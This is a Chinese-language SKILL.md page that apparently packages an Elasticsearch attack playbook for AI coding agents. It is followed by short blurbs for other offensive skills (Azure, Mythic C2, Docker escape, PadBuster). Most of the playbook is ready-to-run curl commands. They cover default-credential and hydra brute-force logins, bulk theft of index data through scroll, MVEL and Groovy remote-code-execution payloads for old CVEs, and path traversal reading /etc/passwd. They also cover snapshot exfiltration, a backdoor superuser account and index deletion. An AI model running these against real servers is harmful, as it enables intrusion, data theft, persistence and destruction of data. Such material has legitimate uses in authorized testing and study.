skills/exploit/network-service/elasticsearch-attack/SKILL.md
Elasticsearch 未授权访问与利用。当发现目标开放 9200/9300 端口、Elasticsearch 服务无认证、需要从 ES 获取索引数据或实现远程命令执行时使用。覆盖未授权访问、认证绕过、索引数据窃取、MVEL/Groovy 脚本 RCE(旧版本)、快照仓库滥用、集群信息泄露、动态脚本注入、Ingest Pipeline 滥用、路径穿越
npx skillsauth add wgpsec/AboutSecurity elasticsearch-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Elasticsearch 默认监听 9200 端口且无认证保护,暴露在网络上时面临大量敏感数据泄露和潜在的 RCE 风险。
# 直接请求根路径,返回集群名称和版本号
curl http://TARGET:9200/
# 集群健康状态
curl http://TARGET:9200/_cat/health?v
curl http://TARGET:9200/_cluster/health?pretty
# HTTP 服务识别
nmap -sV -p 9200,9300 TARGET
# 通用 HTTP 指纹脚本;ES 细节枚举优先使用后续 curl API
nmap -p 9200 --script http-title,http-headers TARGET
关键判断:
cluster_name / version.number → 无认证,直接进入 Phase 3version.number < 1.2 → MVEL RCE 可用(CVE-2014-3120)version.number 1.3.x - 1.4.x → Groovy 沙箱逃逸 RCE 可用(CVE-2015-1427)version.number >= 5.x → 关注 Painless 脚本和 Ingest Pipeline# 直接访问核心 API 端点
curl http://TARGET:9200/_cat/indices?v
curl http://TARGET:9200/_cluster/state?pretty
curl http://TARGET:9200/_nodes/stats?pretty
# 常见默认凭证: elastic:changeme, elastic:elastic, admin:admin
curl -u elastic:changeme http://TARGET:9200/
curl -u elastic:elastic http://TARGET:9200/
curl -u admin:admin http://TARGET:9200/
# 检查 X-Pack Security 是否启用
curl http://TARGET:9200/_xpack/security/user
curl http://TARGET:9200/_security/user
# 暴力破解
hydra -L users.txt -P passwords.txt TARGET http-get /_search
连接成功?
├─ ES < 1.2 → MVEL RCE (/_search + script filter, CVE-2014-3120)
├─ ES 1.3.x-1.4.x → Groovy 沙箱逃逸 RCE (CVE-2015-1427)
├─ ES < 1.4.3 + _plugin → 路径穿越读文件
├─ ES >= 6.x + 无认证 → 索引数据批量导出
│ ├─ _cat/indices 列出所有索引
│ ├─ _search + _scroll 批量导出
│ └─ 搜索敏感字段 (password, token, email, credit_card)
├─ 有快照仓库权限 → 快照数据窃取/恢复
├─ 有 Ingest Pipeline 权限 → Pipeline 注入(数据修改)
├─ 有动态脚本权限 → 脚本存储与执行
├─ Kibana 暴露 → Kibana 控制台利用
└─ 有集群管理权限 → 配置篡改 / 恶意用户创建
前置信息收集:
# 获取版本号(决定攻击路径)
curl -s http://TARGET:9200/ | grep number
# 列出所有索引(判断数据规模)
curl http://TARGET:9200/_cat/indices?v
# 获取集群设置
curl http://TARGET:9200/_cluster/settings?pretty
# 获取所有索引映射(了解数据结构)
curl http://TARGET:9200/_all/_mapping?pretty
# 列出所有索引
curl http://TARGET:9200/_cat/indices?v
# 列出所有别名
curl http://TARGET:9200/_aliases?pretty
# 获取索引映射(字段结构)
curl http://TARGET:9200/INDEX_NAME/_mapping?pretty
# 搜索所有数据(默认返回 10 条)
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {"match_all": {}},
"size": 1000
}'
# 搜索敏感字段
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {
"multi_match": {
"query": "password",
"fields": ["*"]
}
}
}'
# 初始化 scroll
curl -X POST http://TARGET:9200/INDEX_NAME/_search?scroll=5m \
-H 'Content-Type: application/json' -d '{
"query": {"match_all": {}},
"size": 5000
}'
# 持续获取(使用上一步返回的 _scroll_id)
curl -X POST http://TARGET:9200/_search/scroll \
-H 'Content-Type: application/json' -d '{
"scroll": "5m",
"scroll_id": "SCROLL_ID_HERE"
}'
→ 读 references/attack-techniques.md 获取 elasticdump 批量导出命令
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {
"filtered": {
"query": {"match_all": {}},
"filter": {
"script": {
"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",java.lang.Class.forName(\"java.lang.String\")).invoke(null,\"id\")"
}
}
}
}
}'
curl -X POST http://TARGET:9200/_search?pretty \
-H 'Content-Type: application/json' -d '{
"query": {
"filtered": {
"filter": {
"script": {
"script": "def proc = \"id\".execute(); proc.waitFor(); proc.text()"
}
}
}
}
}'
curl http://TARGET:9200/_plugin/head/../../../../../../etc/passwd
curl http://TARGET:9200/_plugin/head/../../../../../../etc/elasticsearch/elasticsearch.yml
→ 读 references/attack-techniques.md 获取完整 RCE payload
# 注册快照仓库
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo \
-H 'Content-Type: application/json' -d '{
"type": "fs",
"settings": {"location": "/tmp/snapshots"}
}'
# 创建快照
curl -X PUT http://TARGET:9200/_snapshot/exfil_repo/snap_1
# 恢复快照到攻击者可达路径
curl -X POST http://TARGET:9200/_snapshot/exfil_repo/snap_1/_restore
# 列出现有 Pipeline
curl http://TARGET:9200/_ingest/pipeline?pretty
# 创建恶意 Pipeline
curl -X PUT http://TARGET:9200/_ingest/pipeline/malicious \
-H 'Content-Type: application/json' -d '{
"description": "data interceptor",
"processors": [
{"set": {"field": "intercepted", "value": "true"}}
]
}'
# 创建后门用户(需 X-Pack 管理权限)
curl -X POST http://TARGET:9200/_xpack/security/user/attacker \
-H 'Content-Type: application/json' -d '{
"password": "password123",
"roles": ["superuser"]
}'
# 删除索引
curl -X DELETE http://TARGET:9200/INDEX_NAME
→ 读 references/attack-techniques.md 获取完整技术细节
| 工具 | 用途 | |------|------| | curl | ES REST API 交互(所有操作的基础) | | elasticsearch-head | 集群管理 Web UI 插件 | | Kibana | ES 数据可视化和 Dev Tools 查询 | | elasticdump | 索引数据批量导出/导入 | | nmap | 端口扫描、服务识别和通用 HTTP 指纹脚本 | | hydra | HTTP 认证暴力破解 |
_scroll API 对大量数据导出比 _search 更高效,避免一次性拉取全部数据_search?size=10000 有上限限制,超过需使用 _scroll 或 search_afterDELETE /index) 不可逆,操作前确认目标match_all 全量查询,优先分批导出testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能